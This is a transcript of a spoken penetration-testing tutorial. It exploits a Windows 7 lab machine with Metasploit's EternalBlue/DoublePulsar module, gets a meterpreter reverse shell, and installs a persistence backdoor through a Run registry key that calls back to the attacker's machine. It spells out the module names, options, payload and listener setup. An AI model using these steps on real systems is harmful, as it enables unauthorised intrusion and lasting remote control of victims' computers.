Hello everybody and welcome back. And now let us start off by actually running the
persistence on our target machine. So I'm starting up right here Windows 7.
Let's start Windows normally since I had a problem running it a few seconds ago. And
right now what we will try is we will try to actually run our persistence
backdoor on the target system, which would actually allow us to connect to it
anytime we want. So, basically, if you have noticed, once we get the meterpreter shell
and if we reboot the machine, we will not be able to connect back to the target. So the
target could actually prevent us from exploiting their computer, or actually
gathering some information after we get the shell open, by just shutting down the
PC, if we didn't run the persistence. So the persistence is something that you
want to run at the very beginning of exploitation. Right after you get the
meterpreter shell, that is most likely the first thing you want to do. So let us
see how we can do that. So I opened up my Windows 7 machine, it is working normally.
Let us just check out once again its IP address. So it should be .1.5 I
believe...ipconfig, and it really is .1.5. So right now let us go to our Kali Linux
machine. And right here we have the Metasploit open, and what we want to do,
basically, let's perform the previous exploit real fast. So we want to
use exploit/windows/eternalblue_doublepulsar, show options. We want to
set RHOSTS to 192.168.1.5. Set TARGETARCHITECTURE
to x64, since Windows 7 is 64 bit. Set PROCESSINJECT to this file, we paste it
right here. We set payload to be windows/x64/meterpreter/reverse_tcp
set LHOST at the end to be 192.168.1.4. Pardon
me, RHOSTS should be the IP address of the of the Windows 7 machine,
so let's change that. So set RHOSTS to 192.168.1.5, which is the
IP address of our Windows 7 machine. So show options, and right now we should be
good to go. So just run here exploit, and we should get a meterpreter shell with
system privileges on the target system. So after we do that we will load a module
called persistence, and we will actually try to create, try to get the meterpreter
shell back even after we reboot the Windows 7 machine. But before we do that,
we need to wait for our session to open. So, I hope it will do it real fast. So
let's see...launching eternal blue, we specified everything correctly, timed out
waiting to SelectionNotify event. What do you mean by that? But we did get the
shell back, so it doesn't really matter. getuid and we are system. So not really
sure what this error right here is, but we were able to get the system. So print
working directory, we can see that we are in C:\windows\system32. Good! Now after we
actually exploit it, now let's run the persistence. So, we run it with this
command. So run persistence -h to see our available options. Usage: run
Executes a Ruby script or Metasploit Post Module in the context of the
meterpreter session. Okay, so it doesn't give us the the module
options, but it doesn't matter. I will just type here the command and I will
explain to you what it all means. So, let us run the command. So what you want to
do is run persistence
-u, which basically stands for automatically start the program, or our
reverse shell, when the user logs on. Now you can also use -X, so when the user,
when the system boots you can use that. So -X is automatically start the
agent when the system boots. And -u is automatically start the agent when
the user logs in. We will use -u in this case. Now we will use -i for the
interval between each connection attempt. So, for example, let's say we wouldn't get,
we weren't able to actually set up our listener at the
correct time when the system was booted, and we missed the first connection try.
So we want to set this to try to connect to us every, for example, 10 seconds, so
let's type here 10 seconds, so we can actually connect anytime we want while
the system is running. So, the thing that we want to specify after that
is -p for the port, and let's use port 443. And of course after that you want to
use -r which is the remote address of the, basically this is our IP address. So,
this is the IP address that the target machine will try to connect to, which
should be the IP address of your Kali Linux machine, which in my case is
.1.4. So after you do that you just click here enter, run persistence, and we
specify the entire command right here, and it will run the persistence for us,
and it will create a registry key in the registry key folder. So we can see right
here, let's actually analyze this a little bit. So what this did is
basically persist the script written to this path right here.
So in temp we got the .vbs script with a weird name, and basically
this .vbs script is basically just a copy of the meterpreter shell in
the temporary folder. And it also created a registry key in the current user, in the
current user registry, in the run startup folder, and it named it like this.
So basically what this registry key does is at every boot up it will run this
program, which is our meterpreter shell. It will also try to connect every 10
seconds. So now that we actually ran the
persistence, let's actually reboot the machine and see if it works.
Now while you reboot the machine you need to actually set up the listener.
Since our eternal blue double pulsar isn't really a listener we need
to set up a regular use exploit multi handler, and then our regular listener. So
let's reboot the machine, and we can check that the machine really is shutting
down, so it is rebooting or restarting. And while we do that, we want to exit this,
and we want to use exploit/multi/handler. Set payload to be the same payload we
specified in the exploit, so windows/x64/meterpreter/reverse_tcp.
Set LHOST to be 192.168.1.4 and set LPORT to
be 443, since LPORT 443 is something that we specified in our persistence command.
And now we type exploit, and we are waiting for incoming connections. And it
should prompt us with a meterpreter shell as soon as this Windows 7 machine
boots up. So let's wait for it to connect to the internet...and in just a few
seconds we should be getting the meterpreter session opened. We still
didn't get it, no idea why, but it should come soon. No idea why we didn't get it.
We should have got it. So we can check the registry in this Window 7. So
let's go run, and then let's open regedit right here
in order for us to open the registry folder. Let's go to the registry where we
saved our file. So, current user, software, Microsoft. Then we go to the windows I
believe. Okay, so windows, currentversion, and then
run. Value not set, so we were not even able to set the value for it.
Now why didn't it set? I have no idea. Let us try it once again. So let's close
this, let's actually use the same thing as before which is the use exploit multi
handle double pular, show options. So, we should already have our
presets, and let's exploit this. And let's see if I run the same command in
the meterpreter, will we get the registry key right here? Let's actually check in
the CMD, so change AppData. Let's just wait for this to open. It should have
written us a registry key, not really sure why it didn't, but we will try to
fix that right now. So we got a meterpreter session open with eternal
blue double pulsar, and what we want to do is actually run the same command
as before. Run resistance as user logs in. Let's actually type as system
boots, 10 seconds, remote address to be this one. And hopefully
right now if we refresh this, so it created at local machine. So now it is
created at local machine. So let's see if it is there. It should be named like
this, so this random letter. So let's go to the local machine, to the software, to
the Microsoft, to the Windows. It's basically the same path, you just find
where Windows is. Okay, so windows currentversion, and then the run folder.
And let's see if it is there, and here it is. So right now this did work. So let me
just see right now if we reboot the PC right now,
and exit the session, and set up our handler once again, so multi handler, show
options, and we exploit since everything is already set, so the IP address set, the
port set, and we run this. Now the problem could be is that it puts this in the temp
directory, which I think we can change, but basically this is the idea of the
persistence. We can actually specify the directory as well if you wanted to, so we
do not need to put it into temporary directory. I'm not really sure if temp
directory actually deletes all the files at the reboot. So let's see if
we open up the run once again, so run, and then regedit. We go right there,
we want to open that, we go to the local machine, software, Microsoft to the
Windows I believe, it should be Windows. Okay, so it is all the way down. Windows
currentversion, and then the run right here. And we still have it right there. So
I'm not really sure why this doesn't work, why it won't open the file, but
basically this is the simple idea behind this. Now I tried this yesterday on
Windows 10 and it does work, so maybe it's some problem with the Windows 7. It
doesn't even matter. Now the point is that this is
the process of actually making a persistence. So you should actually be
able to use this on Windows 10, for example, not really sure why it doesn't
work here. I will actually check it out and maybe tell you in the next video
what the problem was, if there was any problem.
And that would be about it for this tutorial. I hope I see you in the next
one and take care. Bye!